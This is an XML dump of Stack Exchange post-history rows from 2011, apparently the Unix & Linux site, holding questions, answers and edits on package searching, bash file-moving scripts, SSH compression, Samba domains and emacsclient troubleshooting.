  <row Id="28516" PostHistoryTypeId="5" PostId="2788" RevisionGUID="6520529b-9e1f-4875-9b74-cf7a7873b326" CreationDate="2011-04-20T21:40:26.103" UserId="885" Comment="cite unofficial package sources and indices: ppa, pkgs.org" Text="The first place to look is your distribution's package list. That's where you'll find the easiest-to-install programs. Some package management tools provide advanced ways of searching it.&#xD;&#xA;&#xD;&#xA;* On Debian and Debian-based distributions (e.g. Ubuntu), you can search package descriptions with `apt-cache search` or `aptitude search` (on the command line), or through the search facility in interactive package managers such as Aptitude and Synaptic. There's also more structured information in the form of tags: install the `debtags` package, and make basic queries with the `debtags` command or browse the tag database in Aptitude. Tags are a good way to find packages to work with a particular file format, for example.&#xD;&#xA;&#xD;&#xA;* On Red Hat and other distributions using yum (e.g. CentOS, Fedora), you can search package descriptions with `yum search` (on the command line).&#xD;&#xA;&#xD;&#xA;If the package is not in your distribution, it might be available from an unofficial source. Try the [Linux packages search](http://pkgs.org/), which indexes several official and unofficial sources of Linux packages. For Ubuntu, search for the package in a [PPA](https://launchpad.net/ubuntu/+ppas).&#xD;&#xA;&#xD;&#xA;If your distribution doesn't have anything, you can also look in the package database of another distribution. Example distributions with a large package database  are [Debian](http://www.debian.org/distrib/packages#search_packages), [Fedora](https://admin.fedoraproject.org/pkgdb/), [FreeBSD](http://www.freebsd.org/ports/), [Ubuntu](http://packages.ubuntu.com/).&#xD;&#xA;" />
  <row Id="28517" PostHistoryTypeId="2" PostId="11737" RevisionGUID="99248220-6822-4650-b739-46880f378944" CreationDate="2011-04-20T21:42:45.810" UserId="6815" Text="Try Duo Security (free for up to 10 users, or for any open-source project):&#xD;&#xA;&#xD;&#xA;http://blog.duosecurity.com/2011/04/announcing-duos-two-factor-authentication-for-unix/&#xD;&#xA;&#xD;&#xA;The duo_unix package is open-source, and supports OTP, phone callback, SMS, and smartphone push authentication for SSH with passwords, pubkey, or any primary auth mechanism - with or  without PAM!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28518" PostHistoryTypeId="5" PostId="11737" RevisionGUID="3fba8372-ee1f-49f8-8619-002d34c705f4" CreationDate="2011-04-20T22:25:03.137" UserId="6815" Comment="make sure affliation is properly disclosed" Text="Duo Security (our company) offers an [open-source package][1] that supports OTP, phone callback, SMS, and smartphone push authentication for SSH with passwords, pubkey, or any primary auth mechanism - with or without PAM:&#xD;&#xA;&#xD;&#xA;http://blog.duosecurity.com/2011/04/announcing-duos-two-factor-authentication-for-unix/&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/duosecurity/duo_unix/" />
  <row Id="28519" PostHistoryTypeId="2" PostId="11738" RevisionGUID="01ff20cd-2d1e-4373-992f-55bb529b2b41" CreationDate="2011-04-20T22:26:57.520" UserId="3372" Text="The scope of the standard input it's the script itself, so just put your code inside a function like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      diff file1 &lt;(sort file2)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA; In this way the scope of the STDIN it's the function." />
  <row Id="28520" PostHistoryTypeId="2" PostId="11739" RevisionGUID="8a2141cc-4fdc-46da-8cdc-0f0bf5f93b0b" CreationDate="2011-04-20T22:46:33.137" UserId="885" Text="Check if your locale settings match on the local and remote machine: run `echo $LC_CTYPE` in a local terminal and in an ssh session. If they don't match, try again with Matlab with `LC_CTYPE` set to the correct value. If that doesn't work, try with `export LC_CTYPE=C` or with `export LC_CTYPE=en_US` (shot in the dark, I don't know the nature of the bug with Matlab).&#xD;&#xA;&#xD;&#xA;If you're in a UTF-8 locale, try in an 8-bit locale:&#xD;&#xA;&#xD;&#xA;    LC_CTYPE=en_US luit ssh redhat-host&#xD;&#xA;&#xD;&#xA;If fiddling with locales doesn't help, try something more radical: run `stty istrip` in the terminal before starting Matlab. This strips the 8th bit off the characters you type. When you enter an accented letter, this will send one or two garbage ASCII characters to Matlab, but nothing that should confuse it. &#xD;&#xA;&#xD;&#xA;There are a lot of stty settings, but I can't think of one that would just cause non-ASCII characters to be ignored. If you experiment with `stty`, you can revert to sane defaults with `stty sane`. The changes are local to a terminal.&#xD;&#xA;" />
  <row Id="28521" PostHistoryTypeId="5" PostId="9912" RevisionGUID="4e17ec72-35fb-4f56-a4ee-6218f5bc6594" CreationDate="2011-04-20T23:22:53.620" UserId="885" Comment="fixed typos (thanks llhuii)" Text="Here's a script that moves files from under `/path/to/source/root` to the corresponding path under `/path/to/destination/root`.&#xD;&#xA;&#xD;&#xA;* If a directory exists in both the source and the destination, the contents are moved-and-merged recursively.&#xD;&#xA;* If a file or directory exists in the source but not in the destination, it is moved.&#xD;&#xA;* Any file or directory that already exists in the destination is left behind. (In particular merged directories are left behind in the source. This is not easy to fix.)&#xD;&#xA;&#xD;&#xA;Beware, untested code.&#xD;&#xA;&#xD;&#xA;    export dest='/path/to/destination/root'&#xD;&#xA;    cd /path/to/source/root&#xD;&#xA;    find . -type d \( -exec sh -c '[ -d &quot;$dest/$0&quot; ]' \; -o \&#xD;&#xA;                      -exec sh -c 'mv &quot;$0&quot; &quot;$dest/$0&quot;' {} \; -prune \) \&#xD;&#xA;        -o -exec sh -c '&#xD;&#xA;            if ! [ -e &quot;$dest/$0&quot; ]; then&#xD;&#xA;              mv -f &quot;$0&quot; &quot;$dest/$0&quot;&#xD;&#xA;            fi&#xD;&#xA;    ' {} \;&#xD;&#xA;" />
  <row Id="28522" PostHistoryTypeId="2" PostId="11740" RevisionGUID="3b3c0153-467d-4161-94de-e6a9751bfeca" CreationDate="2011-04-20T23:40:41.930" UserId="1974" Text="I have set up the [NoMachine NX server](http://www.nomachine.com/) on a virtual machine running on a server in my datacenter to use for keeping applications running and connecting/disconnecting from them via my laptop. The problem is, applications I run on there are kinda... ugly!&#xD;&#xA;&#xD;&#xA;This is what Firefox looks like when running it through NoMachine:&#xD;&#xA;![NX Screenshot][1]&#xD;&#xA;&#xD;&#xA;And this is how it looks when running directly in the VMware console:&#xD;&#xA;![Direct Screenshot][2]&#xD;&#xA;&#xD;&#xA;How can I change how applications look when using NoMachine NX?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ROaCN.png&#xD;&#xA;  [2]: http://i.imgur.com/v4u5X.png" />
  <row Id="28523" PostHistoryTypeId="1" PostId="11740" RevisionGUID="3b3c0153-467d-4161-94de-e6a9751bfeca" CreationDate="2011-04-20T23:40:41.930" UserId="1974" Text="How can I change the look of applications running via NoMachine?" />
  <row Id="28524" PostHistoryTypeId="3" PostId="11740" RevisionGUID="3b3c0153-467d-4161-94de-e6a9751bfeca" CreationDate="2011-04-20T23:40:41.930" UserId="1974" Text="éubuntuàégnomeàéx11àénomachineà" />
  <row Id="28525" PostHistoryTypeId="25" PostId="11740" RevisionGUID="7f971917-410d-4d17-ad0e-ca99a68f5326" CreationDate="2011-04-21T00:09:10.157" Comment="http://twitter.com/#!/StackUnix/status/60857570751037440" />
  <row Id="28526" PostHistoryTypeId="5" PostId="11638" RevisionGUID="fb815389-2869-4b36-b0f5-29b0415513a2" CreationDate="2011-04-21T00:25:46.110" UserId="4" Comment="added 185 characters in body" Text="Many un*x systems ship with a user account named 'operator'. What is the purpose of this account?&#xD;&#xA;&#xD;&#xA;Do some systems actually make use of this account, or is this more of a historical legacy? Have you ever made use of this account in your organization?&#xD;&#xA;&#xD;&#xA;The 'operator' account tends have a home directory set to something like `/root` or `/`. Why is this?&#xD;&#xA;&#xD;&#xA;Linux:&#xD;&#xA;&#xD;&#xA;    Login: operator                         Name: operator&#xD;&#xA;    Directory: /root                        Shell: /sbin/nologin&#xD;&#xA;&#xD;&#xA;Or FreeBSD:&#xD;&#xA;&#xD;&#xA;    Login: operator                         Name: System Operator&#xD;&#xA;    Directory: /                            Shell: /usr/sbin/nologin&#xD;&#xA;&#xD;&#xA;On FreeBSD, some files are actually owned by user 'operator':&#xD;&#xA;&#xD;&#xA;    # find / -user operator -exec ls -ld {} \;&#xD;&#xA;    drwx------  2 operator  operator  512 Apr 20 17:11 /var/db/entropy&#xD;&#xA;&#xD;&#xA;This question is surprisingly hard to google, since [nearly all google results][1] are regarding shell or code operators.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=unix%20operator" />
  <row Id="28527" PostHistoryTypeId="5" PostId="11700" RevisionGUID="56bae13a-3bd3-4394-881a-a12680ecee27" CreationDate="2011-04-21T00:28:54.180" UserId="6122" Comment="added 7 characters in body; added 16 characters in body" Text="Try this&#xD;&#xA;&#xD;&#xA;    mkdir /home/user/thumbs&#xD;&#xA;    targDir=/home/user/thumbs&#xD;&#xA;    &#xD;&#xA;    cd /home/user/temps&#xD;&#xA;    &#xD;&#xA;    find . -type d | &#xD;&#xA;    IFS=&quot;&quot; while read dir ; do&#xD;&#xA;       if [[ -f &quot;${dir}&quot;/thumb.png ]] ; then&#xD;&#xA;         mv -i &quot;${dir}&quot;/thumb.png &quot;${targDir}&quot;/&quot;${dir}&quot;_thumb.png&#xD;&#xA;       fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28528" PostHistoryTypeId="5" PostId="11700" RevisionGUID="852adb3e-f430-4ee7-88b0-4931758edaba" CreationDate="2011-04-21T00:36:16.677" UserId="6122" Comment="added 467 characters in body; added 2 characters in body" Text="Try this&#xD;&#xA;&#xD;&#xA;    mkdir /home/user/thumbs&#xD;&#xA;    targDir=/home/user/thumbs&#xD;&#xA;    &#xD;&#xA;    cd /home/user/temps&#xD;&#xA;    &#xD;&#xA;    find . -type d | &#xD;&#xA;    IFS=&quot;&quot; while read dir ; do&#xD;&#xA;       if [[ -f &quot;${dir}&quot;/thumb.png ]] ; then&#xD;&#xA;         printf  &quot;mv -i \&quot;${dir}\&quot;/thumb.png \&quot;${targDir}\&quot;/\&quot;${dir}\&quot;_thumb.png \n&quot;&#xD;&#xA;       fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;I have added quoting in case any of your dir names have white-space chars embedded in them.&#xD;&#xA;&#xD;&#xA;Also I have changed this so it will **only** print out the commands to be executed.&#xD;&#xA;Examine the output of the script to be sure all files/path names look proper.&#xD;&#xA;When you're sure there are no issues with the commands that will be executed, then you can pipe the command output to a shell, i.e.&#xD;&#xA;&#xD;&#xA;    thumbFixer.bash | bash&#xD;&#xA;&#xD;&#xA;*end Edit*&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28529" PostHistoryTypeId="2" PostId="11741" RevisionGUID="8c1563a6-ad79-4493-bd5c-f05c99f72144" CreationDate="2011-04-21T00:42:25.643" UserId="6167" Text="Samba 3 can operate as a fully function NT4 Primary Domain Controller.  Samba 3 can also join both an NT4 Domain or an Active Directory Domain as a full Domain Member.  Samba 3 can not in any way act as an Active Directory Domain Controller.  If an NT4-style domain works for you, I would go with Samba 3 as it's well supported and fully production quality. I'm using Samba 3 to run a NT4 Domain for a small business with many Windows XP clients and a Windows 7 client.  Note: you need professional versions of XP/Vista/7 to join any kind of domain.  Home editions cannot join a domain.  Even Windows 7 Professional/Enterprise/Ultimate can still join an NT4 Domain.  [Samba 4](https://wiki.samba.org/index.php/Samba4) is a complete rewrite of Samba to support acting as a full Active Directory Domain.  It is still considered an Alpha release and is lacking some features of Samba 3, but Windows XP and Windows 7 are reported to be able to join as Active Directory Members.  You can take a look at the [HOWTO](https://wiki.samba.org/index.php/Samba4/HOWTO) for Samba 4.  I've yet to get around to playing with it myself." />
  <row Id="28530" PostHistoryTypeId="2" PostId="11742" RevisionGUID="922d31b8-669c-4e04-a882-62e9f5cba5f6" CreationDate="2011-04-21T00:47:11.003" UserId="6167" Text="A more general feature that works with both Dolphin/Nautilus and some Terminals like Gnome Terminal or Konsole is to just drag a folder over the terminal.  This will give you a quoted path to the folder.  You can use this after a cd command or other commands like cp, mv, ln, or whatever you might want." />
  <row Id="28531" PostHistoryTypeId="5" PostId="11700" RevisionGUID="23504868-ec5a-47e5-844d-a61058493d78" CreationDate="2011-04-21T00:55:40.170" UserId="6122" Comment="added 1 characters in body" Text="Try this&#xD;&#xA;&#xD;&#xA;    mkdir /home/user/thumbs&#xD;&#xA;    targDir=/home/user/thumbs&#xD;&#xA;    &#xD;&#xA;    cd /home/user/temps&#xD;&#xA;    &#xD;&#xA;    find . -type d | &#xD;&#xA;     while IFS=&quot;&quot; read dir ; do&#xD;&#xA;       if [[ -f &quot;${dir}&quot;/thumb.png ]] ; then&#xD;&#xA;         printf  &quot;mv -i \&quot;${dir}\&quot;/thumb.png \&quot;${targDir}\&quot;/\&quot;${dir}\&quot;_thumb.png \n&quot;&#xD;&#xA;       fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;I have added quoting in case any of your dir names have white-space chars embedded in them.&#xD;&#xA;&#xD;&#xA;Also I have changed this so it will **only** print out the commands to be executed.&#xD;&#xA;Examine the output of the script to be sure all files/path names look proper.&#xD;&#xA;When you're sure there are no issues with the commands that will be executed, then you can pipe the command output to a shell, i.e.&#xD;&#xA;&#xD;&#xA;    thumbFixer.bash | bash&#xD;&#xA;&#xD;&#xA;*end Edit*&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28532" PostHistoryTypeId="2" PostId="11743" RevisionGUID="262edb99-c502-43b8-8db0-ece2d7c513b4" CreationDate="2011-04-21T01:28:02.940" UserId="4485" Text="A minor addition: For already installed stuff, you might not be aware off: &#xD;&#xA;&#xD;&#xA;    apropos wireless&#xD;&#xA;It can lead to interesting results, as well as noise: &#xD;&#xA; &#xD;&#xA;    apropos writing letter&#xD;&#xA;" />
  <row Id="28533" PostHistoryTypeId="2" PostId="11744" RevisionGUID="0dce2493-a09e-4d26-ad15-7c880b1ad1ab" CreationDate="2011-04-21T01:38:46.873" UserId="2333" Text="I'm trying to use emacs (23.2.1) in daemon mode. I started it as `emacs --daemon` and that works just fine. But whenever I try `emacsclient -t somefile` I first get a line of garbage (e.g., `1;25C2;'), then the file is displayed (with emacs's mode line), but I can't do anything. It hangs; cursor movement keys don't work; C-x # doesn't work; the only thing I can do is open another console and kill the process.&#xD;&#xA;&#xD;&#xA;If I start emacs normally (by clicking on a launcher on the panel, or just running `emacs`) with `(server-start)` in the config, `emacsclient file` works just fine (i.e., loads the file in the graphical emacs instance). If I start emacs normally but use `emacsclient -t file`, I get the same problem with it hanging.&#xD;&#xA;&#xD;&#xA;I'm using Debian 6/Xfce, kernel 2.6.32-5-686. `$TERM` is xterm, maybe that needs to be changed to something else? Is there anything else that's a likely culprit? I don't want to post my entire emacs config here because it's extensive, but if you really want to look through it it's [here on github][1].&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ibrunton/emacs" />
  <row Id="28534" PostHistoryTypeId="1" PostId="11744" RevisionGUID="0dce2493-a09e-4d26-ad15-7c880b1ad1ab" CreationDate="2011-04-21T01:38:46.873" UserId="2333" Text="emacsclient -t hangs" />
  <row Id="28535" PostHistoryTypeId="3" PostId="11744" RevisionGUID="0dce2493-a09e-4d26-ad15-7c880b1ad1ab" CreationDate="2011-04-21T01:38:46.873" UserId="2333" Text="éemacsàéxtermà" />
  <row Id="28536" PostHistoryTypeId="2" PostId="11745" RevisionGUID="d54674e6-2b3c-40e6-8ba5-47207c2b0330" CreationDate="2011-04-21T01:46:05.693" UserId="6475" Text="I thought I would just mention about the `byobu` wrapper that is available for screen that makes it so much better right out of the box. I don't know if something like this is available for tmux, but `byobu` made my .screenrc only a handful of lines.&#xD;&#xA;&#xD;&#xA;Also you might find [Screen Vs Tmux][1] link useful. I think most of it is already mentioned by existing answers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wikivs.com/wiki/Screen_vs_tmux" />
  <row Id="28537" PostHistoryTypeId="2" PostId="11746" RevisionGUID="57f0f511-64b6-40e5-a9a9-1afe893ea5a1" CreationDate="2011-04-21T01:59:13.350" UserDisplayName="luntain" Text="I have installed the newest Erlang from source. As the final step I have executed&#xD;&#xA;&#xD;&#xA;     sudo make install&#xD;&#xA;&#xD;&#xA;Among other things, it placed erl link in /usr/local/bin, but its permissions are insufficient for me to use, other than with sudo&#xD;&#xA;&#xD;&#xA;     lrwxr-x---  1 root  wheel    21B Apr 19 22:26 erl@&#xD;&#xA;&#xD;&#xA;/usr/local/bin permissions:&#xD;&#xA;&#xD;&#xA;     drwxr-xr-x  18 root  wheel   612B Apr 20 21:45 bin/&#xD;&#xA;&#xD;&#xA;sudo gives enough permissions to execute, but not enough to change the permissions. The question is, how do I change the permissions on these symbolic links?" />
  <row Id="28538" PostHistoryTypeId="1" PostId="11746" RevisionGUID="57f0f511-64b6-40e5-a9a9-1afe893ea5a1" CreationDate="2011-04-21T01:59:13.350" UserDisplayName="luntain" Text="No exec permissions on programs in /usr/local/bin" />
  <row Id="28539" PostHistoryTypeId="3" PostId="11746" RevisionGUID="57f0f511-64b6-40e5-a9a9-1afe893ea5a1" CreationDate="2011-04-21T01:59:13.350" UserDisplayName="luntain" Text="éosxà" />
  <row Id="28540" PostHistoryTypeId="17" PostId="11746" RevisionGUID="733d04fd-141a-4584-b3b3-f3df63ed3454" CreationDate="2011-04-21T02:13:16.313" UserId="-1" Comment="from http://superuser.com/questions/273507/no-exec-permissions-on-programs-in-usr-local-bin" Text="" />
  <row Id="28541" PostHistoryTypeId="2" PostId="11747" RevisionGUID="0ec74e8f-dcc0-471a-9fc2-7c7e23335228" CreationDate="2011-04-21T02:20:39.483" UserId="6511" Text="Are you using chmod's `-h` option (from the man page: &quot;-h  If the file is a symbolic link, change the mode of the link itself rather than the file that the link points to&quot;)?  I tried it, and it seemed to do the job:&#xD;&#xA;&#xD;&#xA;    sudo chmod -h o+rx erl" />
  <row Id="28542" PostHistoryTypeId="5" PostId="11699" RevisionGUID="9b107da5-f521-4cae-b8b6-b590da289c4d" CreationDate="2011-04-21T02:41:26.560" UserId="5454" Comment="    add some more info." Text="Here you go:&#xD;&#xA;&#xD;&#xA;    for file in /home/user/temps/*/thumb.png; do new_file=${file/temps/new_folder}; cp &quot;$file&quot; &quot;${new_file/\/thumb/}&quot;; done;&#xD;&#xA;&#xD;&#xA;**edit:**&#xD;&#xA;&#xD;&#xA;the canonical wisdom, by the way, is that using `find` for this is a bad idea -- simply using shell expansion is much more reliable.  Also, this assumes `bash`, but I figure that's a safe assumption :)&#xD;&#xA;&#xD;&#xA;**edit 2:**&#xD;&#xA;&#xD;&#xA;for clarity, I'll break it down:&#xD;&#xA;&#xD;&#xA;    # shell-expansion to loop specified files&#xD;&#xA;    for file in /home/user/temps/*/thumb.png; do&#xD;&#xA;&#xD;&#xA;        # replace 'temps' with 'new_folder' in the path&#xD;&#xA;        # '/home/temps/abc/thumb.png' becomes '/home/new_folder/abc/thumb.png'&#xD;&#xA;        new_file=${file/temps/new_folder};&#xD;&#xA;&#xD;&#xA;        # drop '/thumb' from the path&#xD;&#xA;        # '/home/new_folder/abc/thumb.png' becomes '/home/new_folder/abc.png'&#xD;&#xA;        cp &quot;$file&quot; &quot;${new_file/\/thumb/}&quot;;&#xD;&#xA;    done;&#xD;&#xA;&#xD;&#xA;details on the `${var/Pattern/Replacement}` construct can be found [here][1].&#xD;&#xA;&#xD;&#xA;the quotes in the `cp` line are important to handle spaces and newlines etc. in filenames.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/parameter-substitution.html#EXPREPL1" />
  <row Id="28543" PostHistoryTypeId="6" PostId="11711" RevisionGUID="03f0bcb8-b721-4650-8b03-1220b071a6a8" CreationDate="2011-04-21T03:08:36.327" UserId="6803" Comment="added tags" Text="ékeyboardàécharacteröencodingàéxmodmapàéspecialöcharactersà" />
  <row Id="28544" PostHistoryTypeId="25" PostId="11746" RevisionGUID="b1074cb1-cbb2-4d47-99d7-eadf5b34af4f" CreationDate="2011-04-21T03:09:09.567" Comment="http://twitter.com/#!/StackUnix/status/60902866763784192" />
  <row Id="28545" PostHistoryTypeId="2" PostId="11748" RevisionGUID="7d769fc2-ccff-4a2f-91d3-0d69b3183034" CreationDate="2011-04-21T03:33:17.053" UserId="210" Text="I have *one* compressed SSH tunnel with *one* tunnel and *multiple* connections over it. Data in every connection tunneled is rather homogeneous, but compressing an interleaved stream will obviously make the compression worse. How does SSH compress data with several connections:&#xD;&#xA;&#xD;&#xA;1. On TCP connection level (i.e. one compressed stream, one zlib compression state)?&#xD;&#xA;2. Or on logical in-tunnel connection level (multiple logical streams over one TCP connection, zlib state for each one)?&#xD;&#xA;&#xD;&#xA;Implementation is OpenSSH." />
  <row Id="28546" PostHistoryTypeId="1" PostId="11748" RevisionGUID="7d769fc2-ccff-4a2f-91d3-0d69b3183034" CreationDate="2011-04-21T03:33:17.053" UserId="210" Text="Does ssh compress connections in a tunnel individually?" />
  <row Id="28547" PostHistoryTypeId="3" PostId="11748" RevisionGUID="7d769fc2-ccff-4a2f-91d3-0d69b3183034" CreationDate="2011-04-21T03:33:17.053" UserId="210" Text="ésshàécompressionà" />
  <row Id="28548" PostHistoryTypeId="2" PostId="11749" RevisionGUID="0d36fb96-5e91-4fe0-86e8-add5b90d6eee" CreationDate="2011-04-21T03:59:37.873" UserId="6167" Text="Compression is negotiated along with encryption and stream authentication and applies to all data passed over the SSH connection including the protocol commands as well.  Compression, when used, is applied followed by stream authentication, and then encryption.  The resultant data is what is sent over the Internet.  All tunnels/port forwardings/terminal sessions are sent through the same compression stream." />
  <row Id="28549" PostHistoryTypeId="2" PostId="11750" RevisionGUID="8f692057-be8f-4aee-9467-aa8ae3bd2956" CreationDate="2011-04-21T04:00:08.577" UserId="5191" Text="Depending on the characteristics of your terminal program, when you press a cursor key it sends a sequence of characters starting with the ESC key.  For example, the Up Arrow key sends the three characters ESC [ A.  With vim in input mode, pressing a cursor key may terminate input mode when ESC is seen, and the subsequent characters may be interpreted as vim commands.  Since it exits input mode, you need to press i again to continue inserting text. Perhaps this is what's happening for you.&#xD;&#xA;&#xD;&#xA;Check if your terminal has options that can change the emulation, such as VT-100, VT-220, or a setting that specifies what is sent when the Backspace or Del keys are pressed.  Changing those settings may get the behavior you want.  If you're using the native Windows command console, you probably don't get those options.&#xD;&#xA;&#xD;&#xA;You may have to avoid using the cursor keys in input mode.  Press ESC to exit input mode, then move the cursor, then i again for more input.  That's how us old-timers had to do it before vim got smart enough to interpret the cursor keys in input mode." />
  <row Id="28550" PostHistoryTypeId="5" PostId="11749" RevisionGUID="54ef1f3d-2ee3-46ad-9e66-a17fd19e53fc" CreationDate="2011-04-21T04:08:16.150" UserId="6167" Comment="Added RFC" Text="Compression is negotiated along with encryption and stream authentication and applies to all data passed over the SSH connection including the protocol commands as well.  Compression, when used, is applied followed by stream authentication, and then encryption.  The resultant data is what is sent over the Internet.  All tunnels/port forwardings/terminal sessions are sent through the same compression stream.  The Transport Protocol for SSH is specified in [RFC4253](http://tools.ietf.org/html/rfc4253)." />
  <row Id="28554" PostHistoryTypeId="2" PostId="11752" RevisionGUID="987c9957-1695-4e9c-8a21-93b3b7234782" CreationDate="2011-04-21T04:46:04.450" UserId="6439" Text="Hello fellow linux, unix, bsd, etc users, I was just wondering if this was a good idea? &#xD;&#xA;&#xD;&#xA;If you goto [Internet2tld.com](http://internet2tlds.com/) you can see that it allows you to register a TLD for free. So why not make a TLD for the linux, unix, bsd, etc community. How about .dist or .distro.&#xD;&#xA;&#xD;&#xA;###Lower level domains: .dist or .distro, either way still works.&#xD;&#xA;- [list.dist](http://list.dist) -- A list of distributions that anyone can go and download and use.&#xD;&#xA;- [dist-name.dist](http://dist-name.dist) -- Eg debian.dist, arch.dist, opensuse.dist, and so on. (Donated to the distribution's community of maintainers, if they use it is another question)&#xD;&#xA;- [linux.dist](http://linux.dist) --- Same as list.dist except a filter for only Linux distributions.&#xD;&#xA;- [bsd.dist](http://bsd.dist) --- Same deal as linux.dist.&#xD;&#xA;- [mirror.dist](http://mirror.dist) --- A mirror that hosts all of the main distributions. &#xD;&#xA;- [irc.dist](http://irc.dist) --- IRC server for every distribution, #debian, #arch-linux, #opensuse, etc.&#xD;&#xA;- [paste.dist](http://paste.dist) --- Paste service for anyone to use.&#xD;&#xA;- [faq.dist](http://faq.dist) --- Given to the stack-exchange. ;)&#xD;&#xA;- [bugs.dist](http://bugs.dist) --- Bug tracker for all source packages. (Only packages with source code, AKA free, not non-free nor contrib)&#xD;&#xA;- [live.dist](http://live.dist) --- A live package source editor for any authorized developers.&#xD;&#xA;&#xD;&#xA;###More info on the live.dist idea:&#xD;&#xA;The [live.dist](http://live.dist) would be a mix of the above domains, irc, bugs and live-collaborative editing source code for all packages.&#xD;&#xA;&#xD;&#xA;- The irc part could be somewhat like gnome-shell and facebook for the chat. (can disable)&#xD;&#xA;- All packages can be collaboratively edited and managed by anyone who is registered, everything would be logged for security reasons.&#xD;&#xA;- When editing a package's source code (online) you would be able see the a list bugs on the right. (can disable)&#xD;&#xA;- Sandbox compile to binary. Once compiled in a sandbox, you would be able to download a .tgz file containing all of the compiled binary files, all ready for testing and bug hunting. ;)&#xD;&#xA;- Source code would be originally pulled from heavy development distributions stable repositories, in Debian's case that would be from Debian-testing as stable it just crazy stable ;)&#xD;&#xA;- Main idea of this is to be able to close bugs faster and far more efficiently, allowing stable distributions to be able to get the newer packages, and be far more secure.&#xD;&#xA;&#xD;&#xA;###Why an account to manage package source?&#xD;&#xA;All modifications to the packages would be recorded allowing it to be easy to know how and when some package broke, allowing it to be fixed sooner. Accounts would make this all easier to maintain, maybe even have reputation like stackexchange to allow the developer to modify more advanced packages that newbies could too easily break.&#xD;&#xA;&#xD;&#xA;###So what do you think?&#xD;&#xA;Any suggestions for the idea? Anything wrong with the idea?" />
  <row Id="28555" PostHistoryTypeId="1" PostId="11752" RevisionGUID="987c9957-1695-4e9c-8a21-93b3b7234782" CreationDate="2011-04-21T04:46:04.450" UserId="6439" Text="Is this a good idea for the unix, linux, bsd community?" />
  <row Id="28556" PostHistoryTypeId="3" PostId="11752" RevisionGUID="987c9957-1695-4e9c-8a21-93b3b7234782" CreationDate="2011-04-21T04:46:04.450" UserId="6439" Text="élinuxàépackageömanagementàédistrosàébsdàéetcà" />
  <row Id="28558" PostHistoryTypeId="5" PostId="11752" RevisionGUID="4cbb5071-f2de-4c2b-82b5-a275473a7cd3" CreationDate="2011-04-21T04:55:45.627" UserId="6439" Comment="added 54 characters in body" Text="Hello fellow linux, unix, bsd, etc users, I was just wondering if this was a good idea? &#xD;&#xA;&#xD;&#xA;If you gotoa TLD registrar such as [Internet2tld.com](http://internet2tlds.com/) or [tld.name](http://tld.name) you can see that it allows you to register a TLD for free. So why not make a TLD for the linux, unix, bsd, etc community. How about .dist or .distro.&#xD;&#xA;&#xD;&#xA;###Lower level domains: .dist or .distro, either way still works.&#xD;&#xA;- [list.dist](http://list.dist) -- A list of distributions that anyone can go and download and use.&#xD;&#xA;- [dist-name.dist](http://dist-name.dist) -- Eg debian.dist, arch.dist, opensuse.dist, and so on. (Donated to the distribution's community of maintainers, if they use it is another question)&#xD;&#xA;- [linux.dist](http://linux.dist) --- Same as list.dist except a filter for only Linux distributions.&#xD;&#xA;- [bsd.dist](http://bsd.dist) --- Same deal as linux.dist.&#xD;&#xA;- [mirror.dist](http://mirror.dist) --- A mirror that hosts all of the main distributions. &#xD;&#xA;- [irc.dist](http://irc.dist) --- IRC server for every distribution, #debian, #arch-linux, #opensuse, etc.&#xD;&#xA;- [paste.dist](http://paste.dist) --- Paste service for anyone to use.&#xD;&#xA;- [faq.dist](http://faq.dist) --- Given to the stack-exchange. ;)&#xD;&#xA;- [bugs.dist](http://bugs.dist) --- Bug tracker for all source packages. (Only packages with source code, AKA free, not non-free nor contrib)&#xD;&#xA;- [live.dist](http://live.dist) --- A live package source editor for any authorized developers.&#xD;&#xA;&#xD;&#xA;###More info on the live.dist idea:&#xD;&#xA;The [live.dist](http://live.dist) would be a mix of the above domains, irc, bugs and live-collaborative editing source code for all packages.&#xD;&#xA;&#xD;&#xA;- The irc part could be somewhat like gnome-shell and facebook for the chat. (can disable)&#xD;&#xA;- All packages can be collaboratively edited and managed by anyone who is registered, everything would be logged for security reasons.&#xD;&#xA;- When editing a package's source code (online) you would be able see the a list bugs on the right. (can disable)&#xD;&#xA;- Sandbox compile to binary. Once compiled in a sandbox, you would be able to download a .tgz file containing all of the compiled binary files, all ready for testing and bug hunting. ;)&#xD;&#xA;- Source code would be originally pulled from heavy development distributions stable repositories, in Debian's case that would be from Debian-testing as stable it just crazy stable ;)&#xD;&#xA;- Main idea of this is to be able to close bugs faster and far more efficiently, allowing stable distributions to be able to get the newer packages, and be far more secure.&#xD;&#xA;&#xD;&#xA;###Why an account to manage package source?&#xD;&#xA;All modifications to the packages would be recorded allowing it to be easy to know how and when some package broke, allowing it to be fixed sooner. Accounts would make this all easier to maintain, maybe even have reputation like stackexchange to allow the developer to modify more advanced packages that newbies could too easily break.&#xD;&#xA;&#xD;&#xA;###So what do you think?&#xD;&#xA;Any suggestions for the idea? Anything wrong with the idea?" />
